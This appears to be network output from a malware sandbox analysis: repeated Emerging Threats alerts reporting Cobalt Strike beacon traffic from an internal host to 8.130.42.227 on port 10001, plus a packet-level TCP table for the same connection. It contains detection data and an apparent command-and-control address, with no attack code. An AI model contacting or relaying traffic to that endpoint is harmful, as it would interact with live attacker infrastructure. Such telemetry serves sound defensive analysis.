2024-10-01T09:18:07.142989+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49794	8.130.42.227	10001	TCP
2024-10-01T09:18:08.247427+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49795	8.130.42.227	10001	TCP
2024-10-01T09:18:09.322269+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49796	8.130.42.227	10001	TCP
2024-10-01T09:18:10.406359+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49797	8.130.42.227	10001	TCP
2024-10-01T09:18:11.475283+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49798	8.130.42.227	10001	TCP
2024-10-01T09:18:12.557418+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49799	8.130.42.227	10001	TCP
2024-10-01T09:18:13.614005+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49800	8.130.42.227	10001	TCP
2024-10-01T09:18:14.684749+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49801	8.130.42.227	10001	TCP
2024-10-01T09:18:15.752081+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49802	8.130.42.227	10001	TCP
2024-10-01T09:18:16.838929+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49803	8.130.42.227	10001	TCP
2024-10-01T09:18:17.902793+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49804	8.130.42.227	10001	TCP
2024-10-01T09:18:19.022823+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49805	8.130.42.227	10001	TCP
2024-10-01T09:18:20.290340+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49806	8.130.42.227	10001	TCP
2024-10-01T09:18:21.351390+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49807	8.130.42.227	10001	TCP
2024-10-01T09:18:22.404212+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49808	8.130.42.227	10001	TCP
2024-10-01T09:18:23.470412+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49809	8.130.42.227	10001	TCP
2024-10-01T09:18:24.563314+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49810	8.130.42.227	10001	TCP
2024-10-01T09:18:25.624597+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49811	8.130.42.227	10001	TCP
2024-10-01T09:18:26.699887+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49812	8.130.42.227	10001	TCP
2024-10-01T09:18:27.768611+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49813	8.130.42.227	10001	TCP
2024-10-01T09:18:28.877591+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49814	8.130.42.227	10001	TCP
2024-10-01T09:18:29.989644+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49815	8.130.42.227	10001	TCP
2024-10-01T09:18:31.053847+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49816	8.130.42.227	10001	TCP
2024-10-01T09:18:32.116169+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49817	8.130.42.227	10001	TCP
2024-10-01T09:18:33.219289+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49818	8.130.42.227	10001	TCP
2024-10-01T09:18:34.334705+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49819	8.130.42.227	10001	TCP
2024-10-01T09:18:35.513333+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49820	8.130.42.227	10001	TCP
2024-10-01T09:18:39.577881+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49821	8.130.42.227	10001	TCP
2024-10-01T09:18:40.809481+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49822	8.130.42.227	10001	TCP
2024-10-01T09:18:41.920610+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49823	8.130.42.227	10001	TCP
2024-10-01T09:18:42.984606+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49824	8.130.42.227	10001	TCP
2024-10-01T09:18:44.063633+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49825	8.130.42.227	10001	TCP
2024-10-01T09:18:45.136440+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49826	8.130.42.227	10001	TCP
2024-10-01T09:18:46.218684+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49827	8.130.42.227	10001	TCP
2024-10-01T09:18:47.282624+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49828	8.130.42.227	10001	TCP
2024-10-01T09:18:48.375102+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49829	8.130.42.227	10001	TCP
2024-10-01T09:18:49.608325+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49830	8.130.42.227	10001	TCP
2024-10-01T09:18:50.703630+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49831	8.130.42.227	10001	TCP
2024-10-01T09:18:51.880088+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49832	8.130.42.227	10001	TCP
2024-10-01T09:18:53.537161+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49833	8.130.42.227	10001	TCP
2024-10-01T09:18:55.387877+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49834	8.130.42.227	10001	TCP
2024-10-01T09:18:56.475650+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49835	8.130.42.227	10001	TCP
2024-10-01T09:18:57.540720+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49836	8.130.42.227	10001	TCP
2024-10-01T09:18:58.616732+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49837	8.130.42.227	10001	TCP
2024-10-01T09:18:59.714059+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49838	8.130.42.227	10001	TCP
2024-10-01T09:19:00.832433+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49839	8.130.42.227	10001	TCP
2024-10-01T09:19:02.068888+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49840	8.130.42.227	10001	TCP
2024-10-01T09:19:03.153098+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49841	8.130.42.227	10001	TCP
2024-10-01T09:19:04.246598+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49842	8.130.42.227	10001	TCP
2024-10-01T09:19:05.506380+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49843	8.130.42.227	10001	TCP
2024-10-01T09:19:06.612184+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49844	8.130.42.227	10001	TCP
2024-10-01T09:19:07.716740+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49845	8.130.42.227	10001	TCP
2024-10-01T09:19:08.837611+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49846	8.130.42.227	10001	TCP
2024-10-01T09:19:09.922438+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49847	8.130.42.227	10001	TCP
2024-10-01T09:19:11.239656+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49848	8.130.42.227	10001	TCP
2024-10-01T09:19:12.386735+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49849	8.130.42.227	10001	TCP
2024-10-01T09:19:13.536698+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49850	8.130.42.227	10001	TCP
2024-10-01T09:19:14.618716+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49851	8.130.42.227	10001	TCP
2024-10-01T09:19:15.775008+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49852	8.130.42.227	10001	TCP
2024-10-01T09:19:16.917650+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49853	8.130.42.227	10001	TCP
2024-10-01T09:19:18.007050+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49854	8.130.42.227	10001	TCP
2024-10-01T09:19:19.142195+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49855	8.130.42.227	10001	TCP
2024-10-01T09:19:20.210883+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49856	8.130.42.227	10001	TCP
2024-10-01T09:19:21.334691+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49857	8.130.42.227	10001	TCP
2024-10-01T09:19:22.475180+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49858	8.130.42.227	10001	TCP
2024-10-01T09:19:23.599602+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49859	8.130.42.227	10001	TCP
2024-10-01T09:19:24.837105+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49860	8.130.42.227	10001	TCP
2024-10-01T09:19:25.934898+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49861	8.130.42.227	10001	TCP
2024-10-01T09:19:27.087377+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49862	8.130.42.227	10001	TCP
2024-10-01T09:19:28.172842+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49863	8.130.42.227	10001	TCP
2024-10-01T09:19:29.264189+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49864	8.130.42.227	10001	TCP
2024-10-01T09:19:30.316787+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49865	8.130.42.227	10001	TCP
2024-10-01T09:19:31.392561+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49866	8.130.42.227	10001	TCP
2024-10-01T09:19:32.464935+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49867	8.130.42.227	10001	TCP
2024-10-01T09:19:33.550740+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49868	8.130.42.227	10001	TCP
2024-10-01T09:19:34.630154+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49869	8.130.42.227	10001	TCP
2024-10-01T09:19:35.695994+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49870	8.130.42.227	10001	TCP
2024-10-01T09:19:36.920659+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49871	8.130.42.227	10001	TCP
2024-10-01T09:19:38.425762+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49872	8.130.42.227	10001	TCP
2024-10-01T09:19:39.518197+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49873	8.130.42.227	10001	TCP
2024-10-01T09:19:40.591060+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49874	8.130.42.227	10001	TCP
2024-10-01T09:19:42.136365+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49875	8.130.42.227	10001	TCP
2024-10-01T09:19:43.230968+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49876	8.130.42.227	10001	TCP
2024-10-01T09:19:44.304788+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49877	8.130.42.227	10001	TCP
2024-10-01T09:19:45.387293+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49878	8.130.42.227	10001	TCP
2024-10-01T09:19:46.467149+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49879	8.130.42.227	10001	TCP
2024-10-01T09:19:47.532118+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49880	8.130.42.227	10001	TCP
2024-10-01T09:19:48.616951+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49881	8.130.42.227	10001	TCP
2024-10-01T09:19:49.687932+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49882	8.130.42.227	10001	TCP
2024-10-01T09:19:50.784094+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49883	8.130.42.227	10001	TCP
2024-10-01T09:19:51.912928+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49884	8.130.42.227	10001	TCP
2024-10-01T09:19:52.973922+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49885	8.130.42.227	10001	TCP
2024-10-01T09:19:54.271035+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49886	8.130.42.227	10001	TCP
2024-10-01T09:19:58.400646+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49887	8.130.42.227	10001	TCP
2024-10-01T09:19:59.471246+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49888	8.130.42.227	10001	TCP
2024-10-01T09:20:00.548335+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49889	8.130.42.227	10001	TCP
2024-10-01T09:20:01.623607+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49890	8.130.42.227	10001	TCP
2024-10-01T09:20:02.745260+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49891	8.130.42.227	10001	TCP
2024-10-01T09:20:03.807192+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49892	8.130.42.227	10001	TCP
2024-10-01T09:20:04.885627+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49893	8.130.42.227	10001	TCP
2024-10-01T09:20:05.944846+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49894	8.130.42.227	10001	TCP
2024-10-01T09:20:07.026432+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49895	8.130.42.227	10001	TCP
2024-10-01T09:20:08.116543+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49896	8.130.42.227	10001	TCP
2024-10-01T09:20:09.189258+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49897	8.130.42.227	10001	TCP
2024-10-01T09:20:10.271995+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49898	8.130.42.227	10001	TCP
2024-10-01T09:20:11.341983+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49899	8.130.42.227	10001	TCP
2024-10-01T09:20:13.189833+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49900	8.130.42.227	10001	TCP
2024-10-01T09:20:14.262971+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49901	8.130.42.227	10001	TCP
2024-10-01T09:20:15.316609+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49902	8.130.42.227	10001	TCP
2024-10-01T09:20:16.386558+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49903	8.130.42.227	10001	TCP
2024-10-01T09:20:17.480378+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49904	8.130.42.227	10001	TCP
2024-10-01T09:20:18.554731+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49905	8.130.42.227	10001	TCP
2024-10-01T09:20:19.621581+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49906	8.130.42.227	10001	TCP
2024-10-01T09:20:21.232159+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49907	8.130.42.227	10001	TCP
2024-10-01T09:20:22.303033+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49908	8.130.42.227	10001	TCP
2024-10-01T09:20:23.376704+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49909	8.130.42.227	10001	TCP
2024-10-01T09:20:24.495821+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49910	8.130.42.227	10001	TCP
2024-10-01T09:20:25.565805+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49911	8.130.42.227	10001	TCP
2024-10-01T09:20:26.660847+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49912	8.130.42.227	10001	TCP
2024-10-01T09:20:27.739974+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49913	8.130.42.227	10001	TCP
2024-10-01T09:20:28.809816+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49914	8.130.42.227	10001	TCP
2024-10-01T09:20:29.972968+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49915	8.130.42.227	10001	TCP
2024-10-01T09:20:31.062763+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49916	8.130.42.227	10001	TCP
2024-10-01T09:20:32.150805+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49917	8.130.42.227	10001	TCP
2024-10-01T09:20:36.248804+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49918	8.130.42.227	10001	TCP
2024-10-01T09:20:37.336700+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49919	8.130.42.227	10001	TCP
2024-10-01T09:20:38.408916+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49920	8.130.42.227	10001	TCP
2024-10-01T09:20:40.072859+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49921	8.130.42.227	10001	TCP
2024-10-01T09:20:41.148707+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49922	8.130.42.227	10001	TCP
2024-10-01T09:20:42.228856+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49923	8.130.42.227	10001	TCP
2024-10-01T09:20:43.308659+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49924	8.130.42.227	10001	TCP
2024-10-01T09:20:44.388802+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49925	8.130.42.227	10001	TCP
2024-10-01T09:20:45.452971+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49926	8.130.42.227	10001	TCP
2024-10-01T09:20:46.532833+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49927	8.130.42.227	10001	TCP
2024-10-01T09:20:47.631726+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49928	8.130.42.227	10001	TCP
2024-10-01T09:20:48.726981+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49929	8.130.42.227	10001	TCP
2024-10-01T09:20:49.782566+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49930	8.130.42.227	10001	TCP
2024-10-01T09:20:50.869027+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49931	8.130.42.227	10001	TCP
2024-10-01T09:20:52.939150+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49932	8.130.42.227	10001	TCP
2024-10-01T09:20:54.010943+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49933	8.130.42.227	10001	TCP
2024-10-01T09:20:55.078196+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49934	8.130.42.227	10001	TCP
2024-10-01T09:20:56.320815+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49935	8.130.42.227	10001	TCP
2024-10-01T09:20:57.479719+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49936	8.130.42.227	10001	TCP
2024-10-01T09:20:58.539468+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49937	8.130.42.227	10001	TCP
2024-10-01T09:20:59.608844+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49938	8.130.42.227	10001	TCP
2024-10-01T09:21:00.694909+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49939	8.130.42.227	10001	TCP
2024-10-01T09:21:01.773785+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49940	8.130.42.227	10001	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 09:16:57.833241940 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:57.838273048 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:57.838345051 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:57.838449955 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:57.843415976 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:58.781096935 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:58.781115055 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:58.781127930 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:58.781137943 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:58.781150103 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:58.781162024 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:58.781160116 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:58.781172037 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:58.781184912 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:58.781199932 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:58.781213045 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:58.781224012 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:58.781224966 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:58.781249046 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:58.781274080 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:58.786159992 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:58.786220074 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:58.786252975 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:58.786268950 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:58.786281109 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:58.786302090 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:58.786328077 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.032504082 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.032536030 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.032547951 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.032602072 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.032613039 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.032610893 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.032623053 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.032689095 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.032689095 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.033147097 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.033200026 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.033200979 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.033245087 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.033401012 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.033418894 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.033431053 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.033447027 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.033473969 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.033484936 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.033485889 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.033535004 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.033565044 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.034147978 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.034205914 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.034239054 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.034250975 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.034291029 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.034321070 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.034344912 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.034356117 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.034365892 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.034403086 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.034431934 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.035098076 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.035147905 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.035154104 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.035159111 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.035192013 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.035211086 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.035218000 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.035229921 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.035260916 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.037379026 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.037439108 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.119342089 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.119354010 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.119424105 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.291980982 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292000055 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292011023 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292021990 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292033911 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292047024 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.292049885 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292062998 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292073011 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292077065 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.292083025 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292094946 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292135000 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.292164087 CEST	49730	10001	192.168.2.4	8.130.42.227
